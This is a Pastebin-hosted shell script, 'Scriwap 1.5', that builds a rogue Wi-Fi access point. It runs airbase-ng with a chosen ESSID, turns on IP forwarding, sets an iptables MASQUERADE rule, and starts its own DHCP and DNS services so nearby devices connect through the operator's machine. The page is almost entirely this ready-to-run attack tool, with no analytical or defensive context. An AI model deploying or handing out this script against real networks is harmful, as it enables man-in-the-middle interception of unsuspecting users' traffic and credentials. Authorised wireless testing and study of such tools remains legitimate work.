Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/sh
- #
- # Scriwap 1.5 - Script to create rogue AP
- #
- # Chema Garcia (a.k.a. sch3m4)
- # sch3m4@opensec.es
- # http://opensec.es
- #
- RUTA_AIRBASE='/usr/local/sbin/airbase-ng'
- RUTA_BIND9='/etc/init.d/bind9'
- RUTA_DHCPD3S='/etc/init.d/dhcp3-server'
- RUTA_DHCPD3='/usr/sbin/dhcpd3'
- RUTA_CFG_DHCPD3='/etc/dhcp3/dhcpd.conf'
- RUTA_SYSCTL='/sbin/sysctl'
- RUTA_IPTABLES='/sbin/iptables'
- AIRBASE_IFACE='at0'
- LOG='.scriwap.log'
- function check
- {
- if [ ! $? -eq 0 ]
- then
- echo -e "[!] Error - Check \"$LOG\""
- exit $?
- fi
- }
- echo "###############################"
- echo "# SCRIWAP 1.5 #"
- echo "#=============================#"
- echo "# Chema Garcia (aka sch3m4) #"
- echo "# sch3m4@opensec.es #"
- echo "# http://opensec.es #"
- echo "###############################"
- echo ""
- if [ $# -lt 4 ]
- then
- echo -e "Use: " $0 " <iface_inet> <iface_monitor> <ip_gw> <netmask> <airbase_opt>\n"
- echo -e "Ej: " $0 " wlan0 rausb0 10.0.0.1 255.0.0.0 -P -C 2 -c 6 --essid Wifli\n"
- exit 1
- fi
- if [ ! $UID -eq 0 ]
- then
- sudo ls / 2>&1 >/dev/null
- fi
- #comienzo de parametros de airbase
- ifacenet=$1
- ifacemon=$2
- ip=$3
- mascara=$4
- narg=$#
- num=5
- while [ $# -gt 0 ] && [ $num -le $narg ];do
- param="$param $5"
- shift
- num=$(($num+1))
- done
- param="$param $ifacemon"
- #Activamos el IP Forwarding
- echo "[+] Setting up IP Forwarding"
- sudo $RUTA_SYSCTL net.ipv4.ip_forward=1 2>&1 >> $LOG
- check
- echo "[+] Stopping DHCP daemon"
- sudo $RUTA_DHCPD3S stop 2>&1 >> $LOG
- echo "[+] Stopping DNS daemon"
- sudo $RUTA_BIND9 stop 2>&1 >> $LOG
- echo "[+] Flushing 'nat' table"
- sudo $RUTA_IPTABLES -t nat -F
- check
- echo "[+] Adding iptables rule"
- sudo $RUTA_IPTABLES -t nat -A POSTROUTING -o $ifacenet -j MASQUERADE
- check
- echo "[+] Setting up Acces Point..."
- sudo rmmod tun 2>&1 >> $LOG
- xterm -e sudo $RUTA_AIRBASE $param &
- sleep 3
- echo "[+] Settin up interface $AIRBASE_IFACE"
- sudo ifconfig $AIRBASE_IFACE $ip netmask $mascara up
- check
- echo "[+] Starting DHCP daemon"
- sudo $RUTA_DHCPD3 -cf $RUTA_CFG_DHCPD3 $AIRBASE_IFACE 2>&1 >> $LOG
- check
- echo "[+] Starting DNS daemon"
- sudo $RUTA_BIND9 start 2>&1 >> $LOG
- check
- echo -e "\n[+] Finished!\n"
- exit 0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement